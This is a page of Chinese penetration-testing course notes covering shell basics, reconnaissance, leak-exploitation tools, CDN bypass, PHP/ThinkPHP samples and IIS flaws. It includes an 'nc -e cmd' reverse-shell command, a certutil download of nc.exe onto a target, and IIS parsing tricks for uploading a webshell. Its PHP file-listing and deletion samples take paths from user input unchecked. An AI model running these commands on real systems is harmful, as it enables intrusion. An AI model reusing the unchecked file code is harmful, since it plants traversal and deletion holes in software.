当前位置: 首页 > news >正文

小迪安全v2023笔记 1-18

小迪安全v2023笔记 1-18

棱角社区

文章目录

    • 1. 基础入门
      • 1. 正向shell与反向shell
      • 2. web应用
      • 3. 抓包,封包,协议,app,小程序,pc应用,web应用
    • 2. 信息打点
      • 1. 常见信息获取
      • 2. 文件泄露
      • 3. 常见阻碍
      • 4. CDN绕过,漏洞回链
      • 5. app抓包,封包,xp框架,反编译
      • 6. 红队工具篇
    • 3. php应用
      • 1. 文件操作
      • 2. js中的ajax请求
      • 3. thinkphp框架
        • 1. 下载安装与基本使用
        • 2. 新建控制器
        • 3. 新建模块
        • 4. 数据库操作
        • 5. thinkphp查看漏洞
    • 4.asp,IIS(过时)

1. 基础入门

POC:proof of concept,概念验证代码,用来证明漏洞存在。

EXP:exploit,利用漏洞进行攻击的动作。

Payload:有效载荷,指的是成功执行payload后,真正在目标系统执行的代码或指令。

Shellcode:shell代码,是payload的一种,由于其建立正向shell/反向shell而得名。

1. 正向shell与反向shell

防火墙出站宽松,入站严,入站一般要关防火墙。

b去连接a,对于a来说是入站,为反向shell。

a去连接b,对于a来说是出站,为正向shell。

a去连接b

b作为服务器监听

nc -lvvp 5566

a连接到服务器并完成正向shell

nc -e cmd 192.168.10.8 5566

有时候要让靶机执行命令,下载一个nc.exe。(目的文件名n.exe)

certutil.exe -urlcache -split -f http://www.xiaodi8.com:80/nc.exe n.exe

在这里插入图片描述

虚拟机连接主机,主机可以执行dir查看虚拟机目录。

2. web应用

开发语言

程序源码:应用类型分类,开源cms分类(比如wordpress),开发框架分类等。

中间件:iis,apache,nginx,tomcat,weblogic,jboos,glasshfish。

数据库:access,mysql,mssql,oracle,db2,sybase,redis,mongodb。

第三方软件:phpmyadmin,vs-ftpd,vnc,elk,openssh

常见漏洞:rce远程命令执行,xss跨站,csrf/ssrf/crlf,反序列化,越权,未授权访问,xxe/xml,sql。

3. 抓包,封包,协议,app,小程序,pc应用,web应用

安装雷电模拟器

app有web协议&小程序&pc抓包http/s数据-charles,fidder,burpsuite

程序进程&网络接口&其他协议-wireshark,科来网络分析系统、TCPDump(linux)。

通讯类应用封包分析发送接收-wpe四件套封包(apk->ccproxy->wpe监控cc进程)

需要给浏览器安装工具证书

封包能精确到每个操作的数据包。

2. 信息打点

www.baidu.com

顶级域名(一级域名):com

二级域名:baidu

三级域名:www

1. 常见信息获取

icp备案查询

查网站搭建(cms识别):云悉指纹

数据库常见端口

mysql 3306

mssql 1433

oracle 1521

redis 6379

sql server 1433

mongoDB 27017

RDP 远程桌面 3389

操作系统

大小写:linux对大小写敏感

TTL值:ping 127.0.0.1

  1. Windows NT/2000:TTL值为128。
  2. Windows 95/98:TTL值为32。
  3. UNIX:TTL值为255。
  4. Linux:TTL值为64。
  5. Windows 7:TTL值也为64。

2. 文件泄露

git泄露:githack

python githack.py http://127.0.0.1:80/.git/

svn泄露:svnhack

git clone https://github.com/callmefeifei/SvnHack.git 克隆到当前目录

python svnhack.py -u http://127.0.0.1:80/.svn/entries --download

ds_store 文件泄露

漏洞利用工具:ds_store_exp

python ds_store_exp.py http://127.0.0.1:80/.DS_Store

php的composer.json泄露

/composer.json

3. 常见阻碍

站库分离:网站与数据库分离,数据库为远程数据库

CDN加速:CDN加速通过在全球各地分布的服务器网络上存储网站、应用程序和媒体文件的副本来实现加速效果。当用户请求访问某个网站或应用程序时,CDN会根据用户的地理位置和网络条件,将内容从离用户最近的服务器上提供,从而减少了延迟和加载时间。

负载均衡:分摊到多个操作单元上进行执行,可能拿到备用机的权限。

WAF应用防火墙:WAF检查每一个传入的数据包的内容来检测SQL注入、跨站点脚本、会话劫持、篡改参数或URL等类型的攻击。

主机防护防火墙:比如服务器安全狗。

CDN:内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输得更快、更稳定。

4. CDN绕过,漏洞回链

传统访问:用户访问域名->解析服务器IP->访问目标主机

普通CDN:用户访问域名->CDN节点->真实服务器I->访问目标主机

带WAF的CDN:用户访问域名->CDN节点(WAF)->真实服务器IP->访问目标主机

CDN配置:

加速域名:需要启动加速的域名

加速区域:需要启动加速的地区

加速类型:需要启动加速的资源

nslookup baidu.com 多个ip

不同地方ping的ip不同

CDN绕过

服务器存在ssrf漏洞,会向你的网站发起请求,你的网站会记录访问的真实ip。

子域名没有cdn加速:比如只加速了www.xxx.com,test.xxx.com没加速。使用超级ping会发现子域名指向同一个ip。查sp910.com发现IP同一个。

接口查询国外访问:国外没cdn加速。

mx记录(邮件交换记录)或邮件没有cdn加速

主动邮件配合备案

常用网站

get-site-ip.com 不准确

备案查询

https://ping.chinaz.com/

常用工具

fuckcdn

通过本机的cmd获取本地访问该域名的ip地址并写入工具中,端口为80

CDN绑定

windows\system32\drivers\etc\hosts 域名指向修改文件

5. app抓包,封包,xp框架,反编译

外在抓包:比如burpsuite,fiddler等。

内在提取:源代码中提取。

appinfoscanner:对app里的url,ip地址,关键字进行采集

python3 app.py andriod -i ./test.apk

查壳工具:pkid

脱壳工具

andriod:xposed模块:dexdump,frida模块:frida-dexdump

ios:

​ frida模块:

​ windows使用:frida-ipa-dump

​ macOS使用:frida-ios-dump

6. 红队工具篇

fofa .so

shodan search engine

zoomeye.org 知道创宇

https://quake.360.net/quake/#/index

自动化项目

http://github.com/knownsec/Kunyu

https://github.com/0x727/ShuiZe_0x727

https://github.com/Aabyss-Team/ARL?tab=readme-ov-file 灯塔arl

单点项目

子域名 oneforall

企查查 enscan

指纹识别 finger

3. php应用

默认之前使用过phpstudy编写搭建网站。

1. 文件操作

php超级全局变量$_FILES

$_FILES["表单值"]["name"] 获取上传文件原始名称
$_FILES["表单值"]["type"] 获取上传文件MIME类型
$_FILES["表单值"]["size"] 获取上传文件字节单位大小
$_FILES["表单值"]["tmp_name"] 获取上传的临时副本文件名
$_FILES["表单值"]["error"] 获取上传时发生的错误代码

php目录访问

is_dir() 函数用于检查指定的路径是否是一个目录
opendir() 函数用于打开指定的目录,返回句柄,用来读取目录中的文件和子目录
readdir() 函数用于从打开的目录句柄中读取目录中的文件和子目录
open_basedir:PHP.INI中的设置用来控制脚本程序访问目录
ini_set('open_basedir',__DIR__); 设置配置文件中,只能访问本目录

文件显示

<?php
// 获取路径参数,如果未提供则默认为当前目录
$path = $_GET['path'] ? $_GET['path']: './';// 定义获取文件列表的函数
function getlist($path){$hd=opendir($path);$list=array();while(($file_name=readdir($hd))!==False){// 排除当前目录和父目录if ($file_name != '.' && $file_name != '..') {$file_path="$path/$file_name";// 构建文件完整路径$file_type=filetype($file_path);//$file_type为file或dir$list[$file_type][]=array('file_name' =>$file_name,          // 文件名存储键值'file_path' => $file_path,          // 文件路径存储键值'file_size' => round(filesize($file_path) / 1024),  // 通过换算文件大小存储键值'file_time' => date('Y/m/d H:i:s',filemtime($file_path))// 获取文件时间并存储键值);}}// 关闭目录句柄closedir($hd);// 返回文件列表数组return $list;
}// 调用函数获取文件列表
$list = getlist($path);
print_r($list) ;
?>

文件上传+保存

jkloli目录

​ index.html

​ index.php

​ test.php

index.html

<!DOCTYPE html>
<head><meta charset="utf-8"><title>文件上传</title>
</head>
<body><form method="POST" action="test.php" enctype="multipart/form-data"><label for="file"><input type="file" name='file' id='file' accept=".txt"><br><input type="submit" value="上传文件"></form>
</body>

index.php

<?php
include_once('index.html');

test.php

php pathinfo函数

  • PATHINFO_DIRNAME: 目录路径

  • PATHINFO_BASENAME: 文件名,包含扩展名

  • PATHINFO_EXTENSION: 文件后缀名

  • PATHINFO_FILENAME: 不包含后缀的文件名

<?php
$uploadDir='./uploads';
if(!file_exists($uploadDir)){mkdir($uploadDir);//创建目录
}
if($_SERVER['REQUEST_METHOD']=='POST'&&isset($_FILES['file'])){$name=basename($_FILES['file']['name']);//basename去掉文件名前的路径$tmpname=$_FILES['file']['tmp_name'];$ext=pathinfo($name,PATHINFO_EXTENSION);//获取扩展名if(in_array($ext,['txt','md'])){if(move_uploaded_file($tmpname,$uploadDir."/$name")){echo"<script>alert('上传成功')</script>" ;}else{echo "上传失败";}}else{echo '文件类型不符合';}
}else{echo"没有上传";
}

文件下载与删除

通过修改http头实现

<?php
// 接受方法 判断是怎么操作
switch ($action){case 'del':unlink($file);// 如果操作为删除,则调用unlink函数删除指定文件break;case 'down':header("Content-Type: application/octet-stream");// 设置响应内容的类型为二进制流,告知浏览器这是一个文件下载header("Content-Disposition: attachment; filename=\"" .$file."\"");// 设置浏览器提示下载,并指定下载文件的名称(使用 $file 变量)header("Content-Length: " . filesize($file));// 设置响应内容的长度为文件大小,告知浏览器文件的实际大小readfile($file);// 读取并输出文件内容,将文件内容发送给浏览器break;
}
?>

2. js中的ajax请求

​ AJAX 技术通过在后台发送异步 HTTP 请求并接收响应,使得用户能够在不刷新整个页面的情况下获取更新后的数据。

js jquery库的ajax请求

请求->返回->读取返回的数据->js ajax代码进行解析->结果

php

请求->返回->返回结果

使用phpstudy搭建网站

在这里插入图片描述

test.php作为后端

<?php
if ($_SERVER['REQUEST_METHOD']=="POST") {if($_POST['name']=="张三"&&$_POST['age']=9000){echo json_encode(array("code"=>200,"infocode"=>1));}else{echo json_encode(array("code"=>200,"infocode"=>0));}}

index.html作为前端

<!DOCTYPE html>
<head><meta charset="utf-8"><title>jquery test</title><script src="./jquery-3.7.1.js">//引入jquery</script>
</head>
<body><script>$(document).ready(function() { // 确保DOM加载完成后再绑定事件$("button").on("click",function(){// 绑定button的点击事件$.ajax({type:"POST",url:"test.php",//localhost:80/jkloli/test.phpdataType:"json",data:{name:$('.name').val(),//使用类选择器获取输入框的值age:$('.age').val()},success:function(res){if(res.infocode==1){alert("验证成功");}else{alert("验证失败");}},error:function(jqXHR, textStatus, errorThrown){// 构建错误信息字符串  alert("失败: " + textStatus + ", " + errorThrown);}})});});</script><label for="name">name:</label><input type="text" id="name" class="name"><label for="age">age:</label><input type="text" id="age" class="age"><button>提交</button>
</body>

在这里插入图片描述

失败弹窗

失败: parsererror, SyntaxError: Unexpected end of JSON input

3. thinkphp框架

1. 下载安装与基本使用

在WWW目录下下载thinkphp框架

git clone -b 5.1 https://gitee.com/liu21st/thinkphp.git thinkphp5.1
cd thinkphp5.1
git clone -b 5.1 https://gitee.com/liu21st/framework.git thinkphp

thinkphp5.1对应php5.6

在这里插入图片描述

下面我们来看看它的结构

在这里插入图片描述

下面来访问一下sorry函数

在这里插入图片描述在这里插入图片描述

它的url结构:http://serverName/index.php/模块/控制器/操作/[参数名/参数值...]

2. 新建控制器

在application/index/controller下新建cc.php

访问url:localhost/thinkphp5.1/public/index.php/index/cc/sayhi

<?php
namespace app\index\controller;
use think\Controller;
use think\Db;
class cc extends Controller 
{public function sayhi(){return 'hi';}
}
3. 新建模块

将index/controller下的index.php复制到jkloli/controller目录里

修改命名空间为namespace app\jkloli\controller;

jkloli/controller目录下新建Jk.php

<?php
namespace app\jkloli\controller;
use think\Controller;
use think\Db;class Jk extends Controller 
{public function cllsse(){echo 'cllsse';}
}

thinkphp很不稳定,路径有时候可以访问有时候不能访问。不能访问时,把phpstudy关了,过一会再开试试。

在这里插入图片描述

4. 数据库操作

我用的是mysql8.0

首先在navicat中修改root用户的插件为mysql_native_password,然后重新输入密码。

然后设置mysql的默认字符集为老版本的utf8,具体操作如下:

  • 打开C:\Program Files\MySQL\MySQL Server 8.0\my.ini
  • [mysqld]
    character-set-server = utf8
    default_authentication_plugin= mysql_native_password
  • 打开计算机管理,找到mysql80,关闭重启。若重启失败,尝试netstat -ano |findstr :3306查看端口占用,taskkill /pid xxx -f。若端口没被占用则是my.ini的问题。

thinkphp开调试模式:/config/app.php里app_debug改为true。

找到/config/database.php,修改数据库配置信息。

修改Jk.php

<?php
namespace app\jkloli\controller;
use think\Controller;
use think\Db;class Jk extends Controller 
{public function cllsse(){echo 'cllsse';}public function ss(){if(input('?get.id')&&input('?get.username')){//检查参数是否存在$id=input('get.id');$username=input('get.username');$data = db('t_user')->where("id",'=',$id)->where("username",'=',$username)<>不等于,exp表达式->select();print_r($data);}else{echo "请使用get请求:?id=xx&username=xx";}}
}

在这里插入图片描述

5. thinkphp查看漏洞

thinkphp看版本->看报错页面,看THINK_VERSION全局变量,看url地址构造

?m=Home&c=Index&a=func1

m模块,c控制器,a方法

然后通过版本找历史漏洞

https://github.com/mochazz/thinkphp-vuln?tab=readme-ov-file

4.asp,IIS(过时)

ACCESS数据库无管理帐号密码,顶级架构为表名,列名(字段),数据,所以在注入猜解中一般采用字典猜解表和列再获取数据,猜解简单但又可能出现猜解不到的情况,由于Access数据库在当前安全发展中已很少存在,故直接使用SQLMAP注入。

IIS短文件名漏洞

此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

利用工具:

https://github.com/irsdl/IIS-ShortName-Scanner

https://github.com/lijiejie/IIS_shortname_Scanner

IIS文件解析

IIS 6 解析漏洞

  1. 该版本默认会将*.asp;.jpg 此种格式的文件名,当成Asp解析
  2. 该版本默认会将*.asp/目录下的所有文件当成Asp解析。
  3. 如:logo.asp;.jpg xx.asp/logo.jpg

IIS 7.x 解析漏洞

  1. 在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件
  2. 应用场景:配合文件上传获取Webshell

IIS写权限漏洞

IIS<=6.0 目录权限开启写入,开启WebDAV,设置为允许

参考利用:https://cloud.tencent.com/developer/article/2050105

http options请求获取服务器允许的 http 方法

put请求向服务器添加文件

move请求将文件改名

相关文章:

小迪安全v2023笔记 1-18

小迪安全v2023笔记 1-18 棱角社区 文章目录 1. 基础入门1. 正向shell与反向shell2. web应用3. 抓包&#xff0c;封包&#xff0c;协议&#xff0c;app&#xff0c;小程序&#xff0c;pc应用&#xff0c;web应用 2. 信息打点1. 常见信息获取2. 文件泄露3. 常见阻碍4. CDN绕过&a…...

RabbitMQ WEB管理端介绍

页面功能概览 Overview(概述)Connections(连接)Channels(通道)Exchanges(交换器)Queues(队列)Admin(用户管理)。 1. Overview(概述) 主要分为三部分 1.1 Queued messages&#xff08;所有队列的消息情况&#xff09; Ready&#xff1a;待消费的消息总数Unacked&#xff1a;待应…...

三阶魔方公式详解及快速解法方法介绍

三阶魔方公式详解及快速解法方法介绍 大家好&#xff0c;我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编&#xff0c;也是冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01;今天我们来深入探讨三阶魔方的公式及其快速解法方法。无论是初学者还是已经…...

前端的拖拽和缩放(缩放以鼠标为中心)

效果&#xff1a; 拖拽和缩放&#xff08;缩放以鼠标为中心&#xff09; 代码具体实现如下&#xff1a; 但是有几个注意点 &#xff08;1&#xff09;为什么需要设置 transform-origin: 0 0; 缩放时以鼠标为中心进行缩放。这意味着需要手动计算缩放过程中元素的位移&#…...

【Vue】单向和双向数据绑定

在 Vue.js 中&#xff0c;数据绑定可以分为单向数据绑定和双向数据绑定两种类型。 单向数据绑定 单向数据绑定是指数据从模型流向视图&#xff0c;即数据的变化会自动反映到视图中&#xff0c;但视图中的变化不会自动反映回模型。Vue.js 中的单向数据绑定主要通过以下方式实现…...

HDFS学习

3.5 HDFS存储原理 3.5.1 冗余数据保存 作为一个分布式文件系统&#xff0c;为了保证系统的容错性和可用性&#xff0c;HDFS采用了多副本方式对数据进行冗余存储&#xff0c;通常一个数据块的多个副本会被分布到不同的数据节点上。 如图所示&#xff0c;数据块1被分别存放到…...

Winform使用HttpClient调用WebApi的基本用法

Winform程序调用WebApi的方式有很多&#xff0c;本文学习并记录采用HttpClient调用基于GET、POST请求的WebApi的基本方式。WebApi使用之前编写的检索环境检测数据的接口&#xff0c;如下图所示。 调用基于GET请求的无参数WebApi 创建HttpClient实例后调用GetStringAsync函数获…...

python–基础篇–正则表达式–是什么

文章目录 定义一&#xff1a;正则表达式就是记录文本规则的代码定义一&#xff1a;正则表达式是一个特殊的字符序列&#xff0c;用于判断一个字符串是否与我们所设定的字符序列是否匹配&#xff0c;也就是说检查一个字符串是否与某种模式匹配。初识 Python 正则表达式 定义一&a…...

15 个适用于企业的生成式 AI 用例

作者&#xff1a;来自 Elastic Jennifer Klinger 关于生成式人工智能及其能做什么&#xff08;和不能做什么&#xff09;有很多讨论。生成式人工智能&#xff08;例如大型语言模型 - LLMs&#xff09;利用从大量训练数据中学习到的模式和结构来创建原创内容&#xff0c;而无需存…...

若依框架中组件使用教程

...

秋招力扣刷题——数据流的中位数

一、题目要求 中位数是有序整数列表中的中间值。如果列表的大小是偶数&#xff0c;则没有中间值&#xff0c;中位数是两个中间值的平均值。 例如 arr [2,3,4] 的中位数是 3 。 例如 arr [2,3] 的中位数是 (2 3) / 2 2.5 。 实现 MedianFinder 类: MedianFinder() 初始化 …...

51单片机学习——LED功能一系列实现

目录 一、开发前准备 二、点亮LED 三、LED闪烁 四、LED流水灯 五、LED流水灯plus 一、开发前准备 开发工具软件 烧录软件 其次还需要一块51单片机学习开发板及原理图 keil创造project文件及开启生成.hex文件 二、点亮LED 看二位进制对照原理图&#xff1b; #include <…...

互联网大厂核心知识总结PDF资料

我们要敢于追求卓越&#xff0c;也能承认自己平庸&#xff0c;不要低估3&#xff0c;5&#xff0c;10年沉淀的威力 hi 大家好&#xff0c;我是大师兄&#xff0c;大厂工作特点是需要多方面的知识和技能。这种学习和积累一般人需要一段的时间&#xff0c;不太可能一蹴而就&…...

设计模式-状态模式和策略模式

1.状态模式 1.1定义 当一个对象的内在状态改变时允许根据当前状态作出不同的行为&#xff1b; 1.2 适用场景 (1)一个对象的行为取决于它的状态,并且它必须在运行时根据状态来决定其行为. (2)代码中包含了大量的与状态有关的条件语句,例如:一个操作含有庞大的多分值语句(if…...

Java NIO Buffer概念

针对每一种基本类型的 Buffer &#xff0c;NIO 又根据 Buffer 背后的数据存储内存不同分为了&#xff1a;HeapBuffer&#xff0c;DirectBuffer&#xff0c;MappedBuffer。 HeapBuffer 顾名思义它背后的存储内存是在 JVM 堆中分配&#xff0c;在堆中分配一个数组用来存放 Buffe…...

Kubernetes在Java应用部署中的最佳实践

Kubernetes在Java应用部署中的最佳实践 大家好&#xff0c;我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编&#xff0c;也是冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01;今天我们将探讨如何在Java应用程序中使用Kubernetes进行最佳部署实践。K…...

IOS Swift 从入门到精通:@escaping 和PreferenceKey

@escaping 在Swift中,@escaping是一个属性关键字,用于标记闭包参数。当一个闭包在函数返回之后才被调用时,这个闭包被称为逃逸闭包(Escaping Closure)。使用@escaping关键字可以告诉Swift编译器,传递给函数的闭包可能会在函数执行完毕后被调用,因此它需要“逃逸”函数的…...

基于PHP技术的校园论坛设计的设计与实现-计算机毕业设计源码08586

摘 要 本项目旨在基于PHP技术设计与实现一个校园论坛系统&#xff0c;以提供一个功能丰富、用户友好的交流平台。该论坛系统将包括用户注册与登录、帖子发布与回复、个人信息管理等基本功能&#xff0c;并结合社交化特点&#xff0c;增强用户之间的互动性。通过利用PHP语言及其…...

开机弹窗缺失OpenCL.dll如何解决?分享5种靠谱的解决方法

在电脑使用过程中&#xff0c;我们可能会遇到一些错误提示&#xff0c;其中之一就是“开机提示找不到OpenCL.dll”。那么&#xff0c;这个错误提示到底是怎么回事呢&#xff1f;它又对电脑有什么影响&#xff1f;我们又该如何解决这个问题并预防OpenCL.dll再次丢失呢&#xff1…...

IIS 服务器安装SSL证书

IIS 服务器安装SSL证书 步骤一&#xff1a;准备好 SSL 证书 准备好.pfx 格式的证书文件。 步骤二&#xff1a;安装 SSL 证书 1、打开【开始】菜单&#xff0c;找到【管理工具】&#xff0c;打开【Internet 信息服务&#xff08;IIS&#xff09;管理器】。 2、单击服务器名…...

Flask RESTful 示例

目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题&#xff1a; 下面创建一个简单的Flask RESTful API示例。首先&#xff0c;我们需要创建环境&#xff0c;安装必要的依赖&#xff0c;然后…...

C++初阶-list的底层

目录 1.std::list实现的所有代码 2.list的简单介绍 2.1实现list的类 2.2_list_iterator的实现 2.2.1_list_iterator实现的原因和好处 2.2.2_list_iterator实现 2.3_list_node的实现 2.3.1. 避免递归的模板依赖 2.3.2. 内存布局一致性 2.3.3. 类型安全的替代方案 2.3.…...

生成 Git SSH 证书

&#x1f511; 1. ​​生成 SSH 密钥对​​ 在终端&#xff08;Windows 使用 Git Bash&#xff0c;Mac/Linux 使用 Terminal&#xff09;执行命令&#xff1a; ssh-keygen -t rsa -b 4096 -C "your_emailexample.com" ​​参数说明​​&#xff1a; -t rsa&#x…...

相机Camera日志分析之三十一:高通Camx HAL十种流程基础分析关键字汇总(后续持续更新中)

【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了:有对最普通的场景进行各个日志注释讲解,但相机场景太多,日志差异也巨大。后面将展示各种场景下的日志。 通过notepad++打开场景下的日志,通过下列分类关键字搜索,即可清晰的分析不同场景的相机运行流程差异…...

Axios请求超时重发机制

Axios 超时重新请求实现方案 在 Axios 中实现超时重新请求可以通过以下几种方式&#xff1a; 1. 使用拦截器实现自动重试 import axios from axios;// 创建axios实例 const instance axios.create();// 设置超时时间 instance.defaults.timeout 5000;// 最大重试次数 cons…...

MySQL中【正则表达式】用法

MySQL 中正则表达式通过 REGEXP 或 RLIKE 操作符实现&#xff08;两者等价&#xff09;&#xff0c;用于在 WHERE 子句中进行复杂的字符串模式匹配。以下是核心用法和示例&#xff1a; 一、基础语法 SELECT column_name FROM table_name WHERE column_name REGEXP pattern; …...

论文笔记——相干体技术在裂缝预测中的应用研究

目录 相关地震知识补充地震数据的认识地震几何属性 相干体算法定义基本原理第一代相干体技术&#xff1a;基于互相关的相干体技术&#xff08;Correlation&#xff09;第二代相干体技术&#xff1a;基于相似的相干体技术&#xff08;Semblance&#xff09;基于多道相似的相干体…...

uniapp 开发ios, xcode 提交app store connect 和 testflight内测

uniapp 中配置 配置manifest 文档&#xff1a;manifest.json 应用配置 | uni-app官网 hbuilderx中本地打包 下载IOS最新SDK 开发环境 | uni小程序SDK hbulderx 版本号&#xff1a;4.66 对应的sdk版本 4.66 两者必须一致 本地打包的资源导入到SDK 导入资源 | uni小程序SDK …...

从面试角度回答Android中ContentProvider启动原理

Android中ContentProvider原理的面试角度解析&#xff0c;分为​​已启动​​和​​未启动​​两种场景&#xff1a; 一、ContentProvider已启动的情况 1. ​​核心流程​​ ​​触发条件​​&#xff1a;当其他组件&#xff08;如Activity、Service&#xff09;通过ContentR…...

【p2p、分布式,区块链笔记 MESH】Bluetooth蓝牙通信 BLE Mesh协议的拓扑结构 定向转发机制

目录 节点的功能承载层&#xff08;GATT/Adv&#xff09;局限性&#xff1a; 拓扑关系定向转发机制定向转发意义 CG 节点的功能 节点的功能由节点支持的特性和功能决定。所有节点都能够发送和接收网格消息。节点还可以选择支持一个或多个附加功能&#xff0c;如 Configuration …...